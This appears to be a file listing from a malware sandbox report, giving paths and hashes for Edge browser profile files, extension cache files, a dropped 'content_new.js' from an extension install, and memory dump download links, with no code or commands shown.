SHA256 2e466003d3ad0babc34016821342077fac7cce8e97e861a007bf6976a174d0e6
MD5 83beaccd3ed0a6a251f7f9d515120a68
SHA1 deeaefc913b7019b53325ba1c8d5de654d09b0ea
SHA512 2437c2bafee9a60bbbb30c3eff9ee0d4fda3e09d5a4b073eaf2fc64f944b08cf887c96fa82e93eef28955422b09ce77cf61e80946aac6647a6b6172f74af3909
SSDEEP 768:hrv+4UNbdz3cI/TBOWoGONXyer1IRCzniBQeVH1SK7:hbsbV3XlSIqn/EH1l
TLSH
T14103BF32A4A89E338DE2A3C6B14776437FF86057D6800790E9DE2F4E069B59D230F957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 9f2801b1ebfd323bdb89675cbbbf8cbe944b1f77225077b2cdf923bf630dfa5d
MD5 d7055df6e6d3a91d24b639eb98a1a323
SHA1 6b5bd5a18ed731c7e2bdbd7818b8da7737b0d97c
SHA512 ab6cfa99c363e60951b81fe8dd9f00a70c2c3a5d733842be4a281a8fa22df46769e54e7b98f34201abd3868a5cc2a85caede3ca16e771aced00609daf8cae795
SSDEEP 768:1rv+4UNbdz3CRB/TBOWoSchONXyer1IRCzni9Qb9MQO:1bsbV3S4hSIqnrb+QO
TLSH
T10513CF31E469DE738DA29392B0477793BFF82067C9C00654E9DA6F4D09879AE230F807
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 52b0041e4d499ef3c48506d383fa8f326fde570331d04459b102d36319f72674
MD5 a6befca2faac38a2f187a929c0034277
SHA1 ca9dbca75bbcd8a3f8e8028bc2dd14de4ce3c4be
SHA512 59d12f630e32a5176f170a6f30c2b2424f99fbfc85cc2ca19ece7bc23f158518dcb5e3c21dc0549b9ee8923968b2eede982b29d6fb2ad6924fe80eb32cd3a27d
SSDEEP 768:rj+9h37RB/TBOWoScFONXyer1IRCzni9Qb9MQL:+9h3f4FSIqnrb+QL
TLSH
T1E4F2AE31A4569E638CD293D6B6476BD7BFF8216BC9C00A44EADA6F4D09C366D130F40A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 9491b8bc5ec45815a1024f909eac6fa7e6a863128ca8de85982b0f22eb5ddc4b
MD5 34246c38b7bf87b022c6fdcf55dbbfbb
SHA1 060befa1f6b585016840c0c8bc99d6306f90eeaa
SHA512 bdd44df6f180a47f7baf71abe3f2bd6d8f2ae5233eac9bd3bf59e82a7e26d9a37955022ea8d35a4ce51103251f4717eee2f7e8f8311a5420087b35373ecfab37
SSDEEP 768:2j+9h3CRB/TBOWoScFONXyer1IRCzni9Qb9MQL:l9h3S4FSIqnrb+QL
TLSH
T1A3F2BE31A456DE638CD293D6B6476BD7BFF8216BC9C00A44EADA6F4D09C366D130F40A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 a582cf1179bb6fb9150571bd429e682432185d07fbb02e8e9b4c364b346b4c1d
MD5 c68d0956415e9d13ce60afd269d202ce
SHA1 9c21971414a66e62a077d45a4bfc8e917c00cda6
SHA512 2e59362a28b356a2b959c57b056f65c0afdeb98113c4377a76703209887623ea5bac50a4ca8263fca435e6858b1e425a82303a761ae027ed7f50ddff1cc842b2
SSDEEP 768:1rv+4UNbdz3ND/TBOWoSciONXyer1IRCzni9QeVH1SKk:1bsbV3R4iSIqnrEH1m
TLSH
T1C203BF31E169DE334DE6A385B147B7837FB82067C9800A90EDDA1F4D0A9759E230F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 3381ee49e4954bb9f7fb0fc5ac5a5cda268cf31e609793569a4d37c60930bed9
MD5 268982985f0230f046840c680ce25f85
SHA1 1abe7cb3d6f52d96ac70470d09754863898a35f6
SHA512 da46000b70b99c7f035eac770f55ead2ce2d98f39c720e506bb20503f91237070a3165c289b88ea69b77d4f39855a9c18a668bc7110b4e6ef39cb72b3d7ae6f3
SSDEEP 768:TF1j+9g3+wgCR2psOWoSc6ONXyer1IRCzni9Qb9MQL:C9g3GF6SIqnrb+QL
TLSH
T12E1317F694D78A33D89E4783A73D6E869EBCD067B5844984BBC55E4CCC821BFC30A805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

7a6c17dc-fa8d-4636-b59e-ffc3fe2167a9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\7a6c17dc-fa8d-4636-b59e-ffc3fe2167a9.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4808_1952561368\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1976-411-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2232-442-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2736-467-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2752-334-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3140-408-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3168-259-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3436-184-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3920-330-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4292-284-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4552-447-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4608-363-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4824-406-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4872-471-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5204-231-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5352-271-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5512-431-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5868-488-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5932-311-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6016-315-0x0000000000010000-0x0000000000083000-memory.dmp

Download